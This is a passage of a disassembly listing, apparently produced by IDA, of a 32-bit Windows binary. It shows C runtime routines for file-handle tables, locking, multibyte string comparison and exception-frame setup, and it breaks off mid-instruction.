arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push 14h push offset dword_421E58 call __SEH_prolog4 xor esi, esi mov [ebp+var_1C], esi xor eax, eax mov edi, [ebp+arg_10] cmp edi, esi setnz al cmp eax, esi jnz short loc_4182B7 loc_41829C: ; CODE XREF: sub_41827D+47j ; sub_41827D+5Bj call sub_40F7D4 push 16h pop edi mov [eax], edi push esi push esi push esi push esi push esi call sub_40CB08 add esp, 14h mov eax, edi jmp short loc_418310 ; --------------------------------------------------------------------------- loc_4182B7: ; CODE XREF: sub_41827D+1Dj or dword ptr [edi], 0FFFFFFFFh xor eax, eax cmp [ebp+arg_0], esi setnz al cmp eax, esi jz short loc_41829C cmp [ebp+arg_14], esi jz short loc_4182DA mov eax, [ebp+arg_C] and eax, 0FFFFFE7Fh neg eax sbb eax, eax inc eax jz short loc_41829C loc_4182DA: ; CODE XREF: sub_41827D+4Cj mov [ebp+ms_exc.disabled], esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_1C] push eax mov eax, edi call sub_417C3F add esp, 14h mov [ebp+var_20], eax mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_41831B mov eax, [ebp+var_20] cmp eax, esi jz short loc_418310 or dword ptr [edi], 0FFFFFFFFh loc_418310: ; CODE XREF: sub_41827D+38j ; sub_41827D+8Ej call __SEH_epilog4 retn sub_41827D endp ; =============== S U B R O U T I N E ======================================= sub_418316 proc near ; DATA XREF: r69pu5ti:00421E70o xor esi, esi mov edi, [ebp+18h] sub_418316 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41831B proc near ; CODE XREF: sub_41827D+84p cmp [ebp-1Ch], esi jz short locret_418348 cmp [ebp-20h], esi jz short loc_418340 mov eax, [edi] mov ecx, eax sar ecx, 5 and eax, 1Fh imul eax, 28h mov ecx, dword_433C00[ecx*4] lea eax, [ecx+eax+4] and byte ptr [eax], 0FEh loc_418340: ; CODE XREF: sub_41831B+8j push dword ptr [edi] call sub_418A5A pop ecx locret_418348: ; CODE XREF: sub_41831B+3j retn sub_41831B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418349 proc near ; CODE XREF: sub_411E84+26Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push 1 push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] call sub_41827D add esp, 18h pop ebp retn sub_418349 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418367 proc near ; CODE XREF: sub_418581+Ap var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h push esi push [ebp+arg_8] lea ecx, [ebp+var_14] call sub_40AB59 mov edx, [ebp+arg_0] xor esi, esi cmp edx, esi jnz short loc_4183B1 call sub_40F7D4 push esi push esi push esi push esi push esi mov dword ptr [eax], 16h call sub_40CB08 add esp, 14h cmp [ebp+var_8], 0 jz short loc_4183A7 mov eax, [ebp+var_C] and dword ptr [eax+70h], 0FFFFFFFDh loc_4183A7: ; CODE XREF: sub_418367+37j mov eax, 7FFFFFFFh jmp loc_41857E ; --------------------------------------------------------------------------- loc_4183B1: ; CODE XREF: sub_418367+19j push ebx mov ebx, [ebp+arg_4] cmp ebx, esi jnz short loc_4183E8 call sub_40F7D4 push esi push esi push esi push esi push esi mov dword ptr [eax], 16h call sub_40CB08 add esp, 14h cmp [ebp+var_8], 0 jz short loc_4183DE mov eax, [ebp+var_C] and dword ptr [eax+70h], 0FFFFFFFDh loc_4183DE: ; CODE XREF: sub_418367+6Ej mov eax, 7FFFFFFFh jmp loc_41857D ; --------------------------------------------------------------------------- loc_4183E8: ; CODE XREF: sub_418367+50j mov eax, [ebp+var_10] cmp [eax+8], esi jnz short loc_418414 lea eax, [ebp+var_14] push eax push ebx push edx call sub_40AC10 add esp, 0Ch cmp [ebp+var_8], 0 jz loc_41857D mov ecx, [ebp+var_C] and dword ptr [ecx+70h], 0FFFFFFFDh jmp loc_41857D ; --------------------------------------------------------------------------- loc_418414: ; CODE XREF: sub_418367+87j push edi mov edi, 200h loc_41841A: ; CODE XREF: sub_418367+1CDj movzx cx, byte ptr [edx] movzx ecx, cx movzx esi, cl inc edx test byte ptr [esi+eax+1Dh], 4 mov [ebp+arg_0], edx jz short loc_418488 cmp byte ptr [edx], 0 jnz short loc_418438 xor esi, esi jmp short loc_4184A4 ; --------------------------------------------------------------------------- loc_418438: ; CODE XREF: sub_418367+CBj push 1 push dword ptr [eax+4] lea ecx, [ebp+var_4] push 2 push ecx push 2 dec edx push edx push edi push dword ptr [eax+0Ch] lea eax, [ebp+var_14] push eax call sub_416059 add esp, 24h cmp eax, 1 jnz short loc_418463 movzx ax, [ebp+var_4] jmp short loc_41847D ; --------------------------------------------------------------------------- loc_418463: ; CODE XREF: sub_418367+F3j cmp eax, 2 jnz loc_418539 movzx ax, [ebp+var_4] movzx cx, [ebp+var_3] shl ax, 8 add ax, cx loc_41847D: ; CODE XREF: sub_418367+FAj inc [ebp+arg_0] movzx esi, ax mov eax, [ebp+var_10] jmp short loc_4184A4 ; --------------------------------------------------------------------------- loc_418488: ; CODE XREF: sub_418367+C6j movzx edx, cx lea ecx, [edx+eax] test byte ptr [ecx+1Dh], 10h jz short loc_4184A1 movzx cx, byte ptr [ecx+11Dh] movzx esi, cx jmp short loc_4184A4 ; --------------------------------------------------------------------------- loc_4184A1: ; CODE XREF: sub_418367+12Bj movzx esi, dx loc_4184A4: ; CODE XREF: sub_418367+CFj ; sub_418367+11Fj ... movzx cx, byte ptr [ebx] movzx ecx, cx movzx edx, cl inc ebx test byte ptr [edx+eax+1Dh], 4 jz short loc_41850B cmp byte ptr [ebx], 0 jnz short loc_4184BF xor ecx, ecx jmp short loc_418527 ; --------------------------------------------------------------------------- loc_4184BF: ; CODE XREF: sub_418367+152j push 1 push dword ptr [eax+4] lea ecx, [ebp+var_4] push 2 push ecx push 2 lea ecx, [ebx-1] push ecx push edi push dword ptr [eax+0Ch] lea eax, [ebp+var_14] push eax call sub_416059 add esp, 24h cmp eax, 1 jnz short loc_4184EC movzx ax, [ebp+var_4] jmp short loc_418502 ; --------------------------------------------------------------------------- loc_4184EC: ; CODE XREF: sub_418367+17Cj cmp eax, 2 jnz short loc_418539 movzx ax, [ebp+var_4] movzx cx, [ebp+var_3] shl ax, 8 add ax, cx loc_418502: ; CODE XREF: sub_418367+183j movzx ecx, ax mov eax, [ebp+var_10] inc ebx jmp short loc_418527 ; --------------------------------------------------------------------------- loc_41850B: ; CODE XREF: sub_418367+14Dj movzx edx, cx lea ecx, [edx+eax] test byte ptr [ecx+1Dh], 10h jz short loc_418524 movzx cx, byte ptr [ecx+11Dh] movzx ecx, cx jmp short loc_418527 ; --------------------------------------------------------------------------- loc_418524: ; CODE XREF: sub_418367+1AEj movzx ecx, dx loc_418527: ; CODE XREF: sub_418367+156j ; sub_418367+1A2j ... cmp cx, si jnz short loc_418558 test si, si jz short loc_41856D mov edx, [ebp+arg_0] jmp loc_41841A ; --------------------------------------------------------------------------- loc_418539: ; CODE XREF: sub_418367+FFj ; sub_418367+188j call sub_40F7D4 mov dword ptr [eax], 16h cmp [ebp+var_8], 0 jz short loc_418551 mov eax, [ebp+var_C] and dword ptr [eax+70h], 0FFFFFFFDh loc_418551: ; CODE XREF: sub_418367+1E1j mov eax, 7FFFFFFFh jmp short loc_41857C ; --------------------------------------------------------------------------- loc_418558: ; CODE XREF: sub_418367+1C3j sbb eax, eax and eax, 2 dec eax cmp [ebp+var_8], 0 jz short loc_41857C mov ecx, [ebp+var_C] and dword ptr [ecx+70h], 0FFFFFFFDh jmp short loc_41857C ; --------------------------------------------------------------------------- loc_41856D: ; CODE XREF: sub_418367+1C8j cmp [ebp+var_8], 0 jz short loc_41857A mov eax, [ebp+var_C] and dword ptr [eax+70h], 0FFFFFFFDh loc_41857A: ; CODE XREF: sub_418367+20Aj xor eax, eax loc_41857C: ; CODE XREF: sub_418367+1EFj ; sub_418367+1FBj ... pop edi loc_41857D: ; CODE XREF: sub_418367+7Cj ; sub_418367+9Bj ... pop ebx loc_41857E: ; CODE XREF: sub_418367+45j pop esi leave retn sub_418367 endp ; =============== S U B R O U T I N E ======================================= sub_418581 proc near ; CODE XREF: sub_411E84+1E6p ; sub_411E84+203p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0 push [esp+4+arg_4] push [esp+8+arg_0] call sub_418367 add esp, 0Ch retn sub_418581 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418594 proc near ; CODE XREF: sub_4186FD+Ep var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h push ebx xor ebx, ebx cmp [ebp+arg_8], ebx jnz short loc_4185A9 xor eax, eax jmp loc_4186E6 ; --------------------------------------------------------------------------- loc_4185A9: ; CODE XREF: sub_418594+Cj push edi push [ebp+arg_C] lea ecx, [ebp+var_10] call sub_40AB59 mov edi, [ebp+var_C] cmp [edi+8], ebx jnz short loc_4185E3 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416659 add esp, 0Ch cmp [ebp+var_4], bl jz loc_4186E5 mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh jmp loc_4186E5 ; --------------------------------------------------------------------------- loc_4185E3: ; CODE XREF: sub_418594+27j cmp [ebp+arg_0], ebx jnz short loc_418616 call sub_40F7D4 push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_40CB08 add esp, 14h cmp [ebp+var_4], bl jz short loc_41860C mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh loc_41860C: ; CODE XREF: sub_418594+6Fj mov eax, 7FFFFFFFh jmp loc_4186E5 ; --------------------------------------------------------------------------- loc_418616: ; CODE XREF: sub_418594+52j push esi mov esi, [ebp+arg_4] cmp esi, ebx jnz short loc_41864C call sub_40F7D4 push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_40CB08 add esp, 14h cmp [ebp+var_4], bl jz short loc_418642 mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh loc_418642: ; CODE XREF: sub_418594+A5j mov eax, 7FFFFFFFh jmp loc_4186E4 ; --------------------------------------------------------------------------- loc_41864C: ; CODE XREF: sub_418594+88j ; sub_418594+13Cj mov eax, [ebp+arg_0] movzx cx, byte ptr [eax] dec [ebp+arg_8] movzx ecx, cx movzx edx, cl inc eax test byte ptr [edx+edi+1Dh], 4 mov [ebp+arg_0], eax jz short loc_418693 cmp [ebp+arg_8], ebx jnz short loc_41867D movzx eax, byte ptr [esi] xor ecx, ecx test byte ptr [eax+edi+1Dh], 4 jnz short loc_4186D6 movzx eax, ax jmp short loc_4186C3 ; --------------------------------------------------------------------------- loc_41867D: ; CODE XREF: sub_418594+D6j mov al, [eax] cmp al, bl jnz short loc_418687 xor ecx, ecx jmp short loc_418693 ; --------------------------------------------------------------------------- loc_418687: ; CODE XREF: sub_418594+EDj xor edx, edx inc [ebp+arg_0] mov dh, cl mov dl, al movzx ecx, dx loc_418693: ; CODE XREF: sub_418594+D1j ; sub_418594+F1j movzx ax, byte ptr [esi] movzx eax, ax movzx edx, al inc esi test byte ptr [edx+edi+1Dh], 4 jz short loc_4186C3 cmp [ebp+arg_8], ebx jnz short loc_4186AE loc_4186AA: ; CODE XREF: sub_418594+121j xor eax, eax jmp short loc_4186C3 ; --------------------------------------------------------------------------- loc_4186AE: ; CODE XREF: sub_418594+114j mov dl, [esi] dec [ebp+arg_8] cmp dl, bl jz short loc_4186AA xor ebx, ebx mov bh, al inc esi mov bl, dl movzx eax, bx xor ebx, ebx loc_4186C3: ; CODE XREF: sub_418594+E7j ; sub_418594+10Fj ... cmp ax, cx jnz short loc_4186E9 cmp cx, bx jz short loc_4186D6 cmp [ebp+arg_8], ebx jnz loc_41864C loc_4186D6: ; CODE XREF: sub_418594+E2j ; sub_418594+137j cmp [ebp+var_4], bl jz short loc_4186E2 mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh loc_4186E2: ; CODE XREF: sub_418594+145j xor eax, eax loc_4186E4: ; CODE XREF: sub_418594+B3j ; sub_418594+15Ej ... pop esi loc_4186E5: ; CODE XREF: sub_418594+3Dj ; sub_418594+4Aj ... pop edi loc_4186E6: ; CODE XREF: sub_418594+10j pop ebx leave retn ; --------------------------------------------------------------------------- loc_4186E9: ; CODE XREF: sub_418594+132j sbb eax, eax and eax, 2 dec eax cmp [ebp+var_4], bl jz short loc_4186E4 mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh jmp short loc_4186E4 sub_418594 endp ; =============== S U B R O U T I N E ======================================= sub_4186FD proc near ; CODE XREF: sub_411E84+1D1p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_418594 add esp, 10h retn sub_4186FD endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_41872C push dword ptr [ebp+8] call sub_41D486 loc_41872C: ; DATA XREF: .text:0041871Fo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_418734: ; DATA XREF: sub_418779+Bo ; .text:00418806o mov ecx, [esp+4] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_418778 mov eax, [esp+14h] mov ecx, [eax-4] xor ecx, eax call sub_40AB4A push ebp mov ebp, [eax+10h] mov edx, [eax+28h] push edx mov edx, [eax+24h] push edx call sub_418779 add esp, 8 pop ebp mov eax, [esp+8] mov edx, [esp+10h] mov [edx], eax mov eax, 3 locret_418778: ; CODE XREF: .text:00418744j retn ; =============== S U B R O U T I N E ======================================= sub_418779 proc near ; CODE XREF: .text:00418760p var_20 = dword ptr -20h var_18 = dword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push ebp push eax push 0FFFFFFFEh push offset loc_418734 push large dword ptr fs:0 mov eax, dword_423068 xor eax, esp push eax lea eax, [esp+24h+var_20] mov large fs:0, eax loc_4187A2: ; CODE XREF: sub_418779:loc_4187E9j mov eax, [esp+24h+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_4187EB cmp [esp+24h+arg_4], 0FFFFFFFFh jz short loc_4187BE cmp esi, [esp+24h+arg_4] jbe short loc_4187EB loc_4187BE: ; CODE XREF: sub_418779+3Dj lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+24h+var_18], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_4187E9 push 101h mov eax, [ebx+esi*4+8] call sub_418829 mov eax, [ebx+esi*4+8] call sub_418848 loc_4187E9: ; CODE XREF: sub_418779+57j jmp short loc_4187A2 ; --------------------------------------------------------------------------- loc_4187EB: ; CODE XREF: sub_418779+36j ; sub_418779+43j mov ecx, [esp+24h+var_20] mov large fs:0, ecx add esp, 18h pop edi pop esi pop ebx retn sub_418779 endp ; --------------------------------------------------------------------------- xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset loc_418734 jnz short locret_41881F mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41881F mov eax, 1 locret_41881F: ; CODE XREF: .text:0041880Dj ; .text:00418818j retn ; =============== S U B R O U T I N E ======================================= sub_418820 proc near ; CODE XREF: sub_415C50+1Ep ; sub_415C50+40p push ebx push ecx mov ebx, offset dword_423F90 jmp short loc_418834 sub_418820 endp ; =============== S U B R O U T I N E ======================================= sub_418829 proc near ; CODE XREF: sub_41224C+6Ep ; sub_410640+1D1Dp ... arg_0 = dword ptr 4 push ebx push ecx mov ebx, offset dword_423F90 mov ecx, [esp+8+arg_0] loc_418834: ; CODE XREF: sub_418820+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp push ebp push ecx push eax pop eax pop ecx pop ebp pop ecx pop ebx retn 4 sub_418829 endp ; =============== S U B R O U T I N E ======================================= sub_418848 proc near ; CODE XREF: sub_41224C+7Bp ; sub_418779+6Bp call eax retn sub_418848 endp ; =============== S U B R O U T I N E ======================================= sub_41884B proc near ; CODE XREF: sub_417C3F+2BBp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] test eax, eax push esi push edi jl short loc_4188AF cmp eax, dword_433BE4 jnb short loc_4188AF mov esi, eax and esi, 1Fh imul esi, 28h mov ecx, eax sar ecx, 5 lea edi, ds:433C00h[ecx*4] mov ecx, [edi] cmp dword ptr [esi+ecx], 0FFFFFFFFh jnz short loc_4188AF cmp dword_423060, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_4188A5 sub eax, 0 jz short loc_41889C dec eax jz short loc_418897 dec eax jnz short loc_4188A5 push ebx push 0FFFFFFF4h jmp short loc_41889F ; --------------------------------------------------------------------------- loc_418897: ; CODE XREF: sub_41884B+42j push ebx push 0FFFFFFF5h jmp short loc_41889F ; --------------------------------------------------------------------------- loc_41889C: ; CODE XREF: sub_41884B+3Fj push ebx push 0FFFFFFF6h loc_41889F: ; CODE XREF: sub_41884B+4Aj ; sub_41884B+4Fj call ds:off_41E0A8 loc_4188A5: ; CODE XREF: sub_41884B+3Aj ; sub_41884B+45j mov eax, [edi] mov [esi+eax], ebx xor eax, eax pop ebx jmp short loc_4188C5 ; --------------------------------------------------------------------------- loc_4188AF: ; CODE XREF: sub_41884B+8j ; sub_41884B+10j ... call sub_40F7D4 mov dword ptr [eax], 9 call sub_40F7E7 and dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_4188C5: ; CODE XREF: sub_41884B+62j pop edi pop esi retn sub_41884B endp ; =============== S U B R O U T I N E ======================================= sub_4188C8 proc near ; CODE XREF: sub_4126D1+62p arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push ebx xor ebx, ebx cmp ecx, ebx push esi push edi jl short loc_418930 cmp ecx, dword_433BE4 jnb short loc_418930 mov esi, ecx and esi, 1Fh imul esi, 28h mov eax, ecx sar eax, 5 lea edi, ds:433C00h[eax*4] mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_418930 cmp dword ptr [eax], 0FFFFFFFFh jz short loc_418930 cmp dword_423060, 1 jnz short loc_418926 sub ecx, ebx jz short loc_41891D dec ecx jz short loc_418918 dec ecx jnz short loc_418926 push ebx push 0FFFFFFF4h jmp short loc_418920 ; --------------------------------------------------------------------------- loc_418918: ; CODE XREF: sub_4188C8+46j push ebx push 0FFFFFFF5h jmp short loc_418920 ; --------------------------------------------------------------------------- loc_41891D: ; CODE XREF: sub_4188C8+43j push ebx push 0FFFFFFF6h loc_418920: ; CODE XREF: sub_4188C8+4Ej ; sub_4188C8+53j call ds:off_41E0A8 loc_418926: ; CODE XREF: sub_4188C8+3Fj ; sub_4188C8+49j mov eax, [edi] or dword ptr [esi+eax], 0FFFFFFFFh xor eax, eax jmp short loc_418945 ; --------------------------------------------------------------------------- loc_418930: ; CODE XREF: sub_4188C8+Bj ; sub_4188C8+13j ... call sub_40F7D4 mov dword ptr [eax], 9 call sub_40F7E7 mov [eax], ebx or eax, 0FFFFFFFFh loc_418945: ; CODE XREF: sub_4188C8+66j pop edi pop esi pop ebx retn sub_4188C8 endp ; =============== S U B R O U T I N E ======================================= sub_418949 proc near ; CODE XREF: sub_4126D1+7p ; sub_4126D1+2Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 0FFFFFFFEh jnz short loc_418969 call sub_40F7E7 and dword ptr [eax], 0 call sub_40F7D4 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_418969: ; CODE XREF: sub_418949+7j push esi xor esi, esi cmp eax, esi jl short loc_418992 cmp eax, dword_433BE4 jnb short loc_418992 mov ecx, eax and eax, 1Fh imul eax, 28h sar ecx, 5 mov ecx, dword_433C00[ecx*4] add eax, ecx test byte ptr [eax+4], 1 jnz short loc_4189B6 loc_418992: ; CODE XREF: sub_418949+25j ; sub_418949+2Dj call sub_40F7E7 mov [eax], esi call sub_40F7D4 push esi push esi push esi push esi push esi mov dword ptr [eax], 9 call sub_40CB08 add esp, 14h or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_4189B6: ; CODE XREF: sub_418949+47j mov eax, [eax] pop esi retn sub_418949 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4189BA proc near ; CODE XREF: sub_412765+7Fp ; sub_4140C6+7Fp ... var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 0Ch push offset dword_421E78 call __SEH_prolog4 mov edi, [ebp+arg_0] mov eax, edi sar eax, 5 mov esi, edi and esi, 1Fh imul esi, 28h add esi, dword_433C00[eax*4] mov [ebp+var_1C], 1 xor ebx, ebx cmp [esi+8], ebx jnz short loc_418A21 push 0Ah call sub_40F9F7 pop ecx mov [ebp+ms_exc.disabled], ebx cmp [esi+8], ebx jnz short loc_418A15 push 0FA0h lea eax, [esi+0Ch] push eax call sub_416874 pop ecx pop ecx test eax, eax jnz short loc_418A12 mov [ebp+var_1C], ebx loc_418A12: ; CODE XREF: sub_4189BA+53j inc dword ptr [esi+8] loc_418A15: ; CODE XREF: sub_4189BA+3Fj mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_418A51 loc_418A21: ; CODE XREF: sub_4189BA+2Fj cmp [ebp+var_1C], ebx jz short loc_418A43 mov eax, edi sar eax, 5 and edi, 1Fh imul edi, 28h mov eax, dword_433C00[eax*4] lea eax, [eax+edi+0Ch] push eax call ds:dword_41E150 ; RtlEnterCriticalSection loc_418A43: ; CODE XREF: sub_4189BA+6Aj mov eax, [ebp+var_1C] call __SEH_epilog4 retn sub_4189BA endp ; =============== S U B R O U T I N E ======================================= sub_418A4C proc near ; DATA XREF: r69pu5ti:00421E90o xor ebx, ebx mov edi, [ebp+8] sub_418A4C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_418A51 proc near ; CODE XREF: sub_4189BA+62p push 0Ah call sub_40F91F pop ecx retn sub_418A51 endp ; =============== S U B R O U T I N E ======================================= sub_418A5A proc near ; CODE XREF: sub_412828+3p ; sub_414198+3p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, eax and eax, 1Fh imul eax, 28h sar ecx, 5 mov ecx, dword_433C00[ecx*4] lea eax, [ecx+eax+0Ch] push eax call ds:dword_41E154 ; RtlLeaveCriticalSection retn sub_418A5A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A7C proc near ; CODE XREF: sub_417C3F:loc_417E35p var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h ; FUNCTION CHUNK AT 00418B58 SIZE 000000BA BYTES push 18h push offset dword_421E98 call __SEH_prolog4 or [ebp+var_1C], 0FFFFFFFFh xor edi, edi mov [ebp+var_24], edi push 0Bh call sub_40F934 pop ecx test eax, eax jnz short loc_418AA5 or eax, 0FFFFFFFFh jmp loc_418C0C ; --------------------------------------------------------------------------- loc_418AA5: ; CODE XREF: sub_418A7C+1Fj push 0Bh call sub_40F9F7 pop ecx mov [ebp+ms_exc.disabled], edi loc_418AB0: ; CODE XREF: sub_418A7C+109j mov [ebp+var_28], edi cmp edi, 40h jge loc_418BFD mov esi, dword_433C00[edi*4] test esi, esi jz loc_418B8A loc_418ACB: ; CODE XREF: sub_418A7C+CBj mov [ebp+var_20], esi mov eax, dword_433C00[edi*4] add eax, 500h cmp esi, eax jnb loc_418B7E test byte ptr [esi+4], 1 jnz short loc_418B44 cmp dword ptr [esi+8], 0 jnz short loc_418B27 push 0Ah call sub_40F9F7 pop ecx xor ebx, ebx inc ebx mov [ebp+ms_exc.disabled], ebx cmp dword ptr [esi+8], 0 jnz short loc_418B1E push 0FA0h lea eax, [esi+0Ch] push eax call sub_416874 pop ecx pop ecx test eax, eax jnz short loc_418B1B mov [ebp+var_24], ebx jmp short loc_418B1E ; --------------------------------------------------------------------------- loc_418B1B: ; CODE XREF: sub_418A7C+98j inc dword ptr [esi+8] loc_418B1E: ; CODE XREF: sub_418A7C+84j ; sub_418A7C+9Dj and [ebp+ms_exc.disabled], 0 call sub_418B4F loc_418B27: ; CODE XREF: sub_418A7C+70j cmp [ebp+var_24], 0 jnz short loc_418B44 lea ebx, [esi+0Ch] push ebx call ds:dword_41E150 ; RtlEnterCriticalSection test byte ptr [esi+4], 1 jz short loc_418B58 push ebx call ds:dword_41E154 ; RtlLeaveCriticalSection loc_418B44: ; CODE XREF: sub_418A7C+6Aj ; sub_418A7C+AFj ... add esi, 28h jmp short loc_418ACB sub_418A7C endp ; =============== S U B R O U T I N E ======================================= sub_418B49 proc near ; DATA XREF: r69pu5ti:00421EBCo mov edi, [ebp-28h] mov esi, [ebp-20h] sub_418B49 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_418B4F proc near ; CODE XREF: sub_418A7C+A6p push 0Ah call sub_40F91F pop ecx retn sub_418B4F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_418A7C loc_418B58: ; CODE XREF: sub_418A7C+BFj cmp [ebp+var_24], 0 jnz short loc_418B44 mov byte ptr [esi+4], 1 or dword ptr [esi], 0FFFFFFFFh mov eax, esi sub eax, dword_433C00[edi*4] cdq push 28h pop ecx idiv ecx mov ecx, edi shl ecx, 5 add eax, ecx mov [ebp+var_1C], eax loc_418B7E: ; CODE XREF: sub_418A7C+60j cmp [ebp+var_1C], 0FFFFFFFFh jnz short loc_418BFD inc edi jmp loc_418AB0 ; --------------------------------------------------------------------------- loc_418B8A: ; CODE XREF: sub_418A7C+49j push 28h push 20h call sub_41187A pop ecx pop ecx mov [ebp+var_20], eax test eax, eax jz short loc_418BFD lea ecx, ds:433C00h[edi*4] mov [ecx], eax add dword_433BE4, 20h loc_418BAC: ; CODE XREF: sub_418A7C+151j mov edx, [ecx] add edx, 500h cmp eax, edx jnb short loc_418BCF mov byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah and dword ptr [eax+8], 0 add eax, 28h mov [ebp+var_20], eax jmp short loc_418BAC ; --------------------------------------------------------------------------- loc_418BCF: ; CODE XREF: sub_418A7C+13Aj shl edi, 5 mov [ebp+var_1C], edi mov eax, edi sar eax, 5 mov ecx, edi and ecx, 1Fh imul ecx, 28h mov eax, dword_433C00[eax*4] mov byte ptr [eax+ecx+4], 1 push edi call sub_4189BA pop ecx test eax, eax jnz short loc_418BFD or [ebp+var_1C], 0FFFFFFFFh loc_418BFD: ; CODE XREF: sub_418A7C+3Aj ; sub_418A7C+106j ... mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_418C12 mov eax, [ebp+var_1C] loc_418C0C: ; CODE XREF: sub_418A7C+24j call __SEH_epilog4 retn ; END OF FUNCTION CHUNK FOR sub_418A7C ; =============== S U B R O U T I N E ======================================= sub_418C12 proc near ; CODE XREF: sub_418A7C+188p ; DATA XREF: r69pu5ti:00421EB0o push 0Bh call sub_40F91F pop ecx retn sub_418C12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418C1B proc near ; CODE XREF: sub_4128C0+31p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 10h push offset dword_421EC0 call __SEH_prolog4 mov eax, [ebp+arg_0] cmp eax, 0FFFFFFFEh jnz short loc_418C42 call sub_40F7D4 mov dword ptr [eax], 9 loc_418C3A: ; CODE XREF: sub_418C1B+4Dj or eax, 0FFFFFFFFh jmp loc_418CEC ; --------------------------------------------------------------------------- loc_418C42: ; CODE XREF: sub_418C1B+12j xor ebx, ebx cmp eax, ebx jl short loc_418C50 cmp eax, dword_433BE4 jb short loc_418C6A loc_418C50: ; CODE XREF: sub_418C1B+2Bj ; sub_418C1B+6Dj call sub_40F7D4 mov dword ptr [eax], 9 push ebx push ebx push ebx push ebx push ebx call sub_40CB08 add esp, 14h jmp short loc_418C3A ; --------------------------------------------------------------------------- loc_418C6A: ; CODE XREF: sub_418C1B+33j mov ecx, eax sar ecx, 5 lea edi, ds:433C00h[ecx*4] mov esi, eax and esi, 1Fh imul esi, 28h mov ecx, [edi] movzx ecx, byte ptr [esi+ecx+4] and ecx, 1 jz short loc_418C50 push eax call sub_4189BA pop ecx mov [ebp+ms_exc.disabled], ebx mov eax, [edi] test byte ptr [esi+eax+4], 1 jz short loc_418CCE push [ebp+arg_0] call sub_418949 pop ecx push eax call ds:off_41E0A4 test eax, eax jnz short loc_418CBC call ds:dword_41E0D8 ; RtlGetLastWin32Error mov [ebp+var_1C], eax jmp short loc_418CBF ; --------------------------------------------------------------------------- loc_418CBC: ; CODE XREF: sub_418C1B+94j mov [ebp+var_1C], ebx loc_418CBF: ; CODE XREF: sub_418C1B+9Fj cmp [ebp+var_1C], ebx jz short 